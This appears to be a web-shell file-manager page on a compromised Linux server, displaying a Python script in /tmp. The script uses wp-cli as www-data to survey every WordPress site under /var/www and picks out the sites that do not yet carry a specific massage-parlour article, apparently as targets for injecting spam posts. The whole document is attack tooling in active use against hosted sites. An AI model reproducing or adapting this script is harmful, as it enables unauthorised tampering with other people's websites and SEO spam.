HEX
Server: nginx/1.18.0
System: Linux vps-9dcdb12e 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64
User: ubuntu (1000)
PHP: 8.1.2-1ubuntu2.24
Disabled: exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: //tmp/scan_ovh.py
import subprocess, os, re, sys, json
from subprocess import PIPE
base="/var/www"
exclude=set(x.strip() for x in sys.argv[1].split(',') if x.strip())
want=int(sys.argv[2]) if len(sys.argv)>2 else 20
def run(cmd):
    try:
        r=subprocess.run(cmd,stdout=PIPE,stderr=PIPE,timeout=15); return r.stdout.decode('utf-8','ignore')
    except: return ""
def wp(path,*a):
    return run(["sudo","-u","www-data","wp","--path="+path,"--allow-root","--skip-themes","--skip-plugins"]+list(a))
found=[]
for d in sorted(os.listdir(base)):
    if len(found)>=want: break
    if d in exclude or d.startswith('_') or d.startswith('.') or d.startswith('html'): continue
    P=os.path.join(base,d)
    if not os.path.isfile(os.path.join(P,"wp-config.php")): continue
    # czy juz ma nasz artykul lub masaz
    has=wp(P,"post","list","--post_type=post","--name=gabinet-masazu-piotr-czajkowski-kielce","--field=ID").strip()
    if has: continue
    masaz=wp(P,"db","query","SELECT COUNT(*) FROM wp_posts WHERE post_type='post' AND (LOWER(post_name) LIKE '%masaz%' OR post_content LIKE '%boskimasaz%' OR LOWER(post_title) LIKE '%czajkowski%')").strip()
    # masaz zwroci naglowek+wartosc; sprawdz czy >0
    digits=[x for x in masaz.split() if x.isdigit()]
    if digits and digits[-1]!='0': continue
    # liczba publish postow
    cnt=wp(P,"post","list","--post_type=post","--post_status=publish","--format=count").strip()
    cnt=cnt.split()[-1] if cnt else "0"
    if not cnt.isdigit() or int(cnt)<1: continue
    # permalink structure
    pl=wp(P,"option","get","permalink_structure").strip()
    found.append({"domain":d,"posts":cnt,"permalink":pl})
print(json.dumps(found))